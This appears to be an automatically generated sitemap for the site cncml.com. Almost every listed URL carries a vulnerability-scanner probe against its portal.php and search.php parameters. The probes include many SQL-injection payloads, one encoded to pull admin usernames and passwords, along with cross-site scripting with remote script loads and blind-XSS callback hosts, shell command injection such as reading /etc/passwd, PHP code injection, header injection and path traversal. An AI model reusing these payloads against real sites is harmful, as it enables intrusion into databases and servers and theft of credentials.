http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(55=55)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=89)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%2527 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%2527%20AND%2019=19%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%2527%20AND%2032=99%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%5B%5D 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%5C%22 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%5C' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%bf%27 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%20'8g'='8g 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%20'Wo'='eg 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20OR%20'Sh'='Sh'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(57=57)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20'Gn'='Gn 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(99=15)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20'1t'='1t 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%22 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%2031=31%20AND%20('aT'='aT 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%2087=68%20AND%20('Hq'='Hq 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=92)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20('5D'='5D 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(26=26)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20('65'='65 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1';%20IF(61=51)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1';%20IF(74=74)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%2011=11%20AND%20(11=11 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%2012=98%20AND%20(12=12 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20OR%2038=38%20OR%20(38=38)%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(28=28)%20THEN%201%20ELSE%200x28%20END))%20AND%20(81=81 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=87)%20THEN%201%20ELSE%200x28%20END))%20AND%20(81=81 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1);%20IF(46=46)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1);%20IF(91=55)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1,(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1,(SELECT%20(CASE%20WHEN%20(33=33)%20THEN%201%20ELSE%2033*(SELECT%2033%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1,(SELECT%20(CASE%20WHEN%20(66=13)%20THEN%201%20ELSE%2066*(SELECT%2066%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1,(SELECT%20(CASE%20WHEN%20(81=55)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1,IIF(59=56,1,1/0) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1,IIF(96=96,1,1/0) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=16633x3X6 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1JyI%3D 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1alert(42873) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1e360 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=3 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=7 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=8 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=;print(md5(1122));%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=C:%5Cboot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=IIF(75=75,1,1/0) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=IIF(89=23,1,1/0) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=dir 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=file:///c:/boot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=phpinfo 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=response.write(9412458*9542755) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=set%7Cset&set 0.0001 http://www.cncml.com/portal.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/portal.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/robots.txt 0.0148 http://www.cncml.com/search.php 0.0005 http://www.cncml.com/search.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319 0.0001 http://www.cncml.com/search.php?mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/search.php?mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/search.php?mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/search.php?mod=%3Cdir 0.0001 http://www.cncml.com/search.php?mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/search.php?mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/search.php?mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/search.php?mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/search.php?mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=');print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%200x706F7274616C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20(CASE%20WHEN%20(21=75)%20THEN%200x706F7274616C%20ELSE%2021*(SELECT%2021%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20(CASE%20WHEN%20(34=39)%20THEN%200x706F7274616C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20(CASE%20WHEN%20(39=39)%20THEN%200x706F7274616C%20ELSE%2039*(SELECT%2039%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%200x706F7274616C%20ELSE%2051*(SELECT%2051%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20(CASE%20WHEN%20(54=65)%20THEN%200x706F7274616C%20ELSE%2054*(SELECT%2054%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20(CASE%20WHEN%20(55=72)%20THEN%200x706F7274616C%20ELSE%2055*(SELECT%2055%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20(CASE%20WHEN%20(72=23)%20THEN%200x706F7274616C%20ELSE%2072*(SELECT%2072%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20(CASE%20WHEN%20(89=89)%20THEN%200x706F7274616C%20ELSE%2089*(SELECT%2089%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod=................windowswin.ini 0.0001 http://www.cncml.com/search.php?mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/search.php?mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/search.php?mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/search.php?mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/search.php?mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/search.php?mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/search.php?mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/search.php?mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/search.php?mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/search.php?mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/search.php?mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/search.php?mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/search.php?mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=ELT(49=87,0x706F7274616C) 0.0001 http://www.cncml.com/search.php?mod=ELT(65=65,0x706F7274616C) 0.0001 http://www.cncml.com/search.php?mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=MAKE_SET(11=45,0x706F7274616C) 0.0001 http://www.cncml.com/search.php?mod=MAKE_SET(94=94,0x706F7274616C) 0.0001 http://www.cncml.com/search.php?mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/search.php?mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/search.php?mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 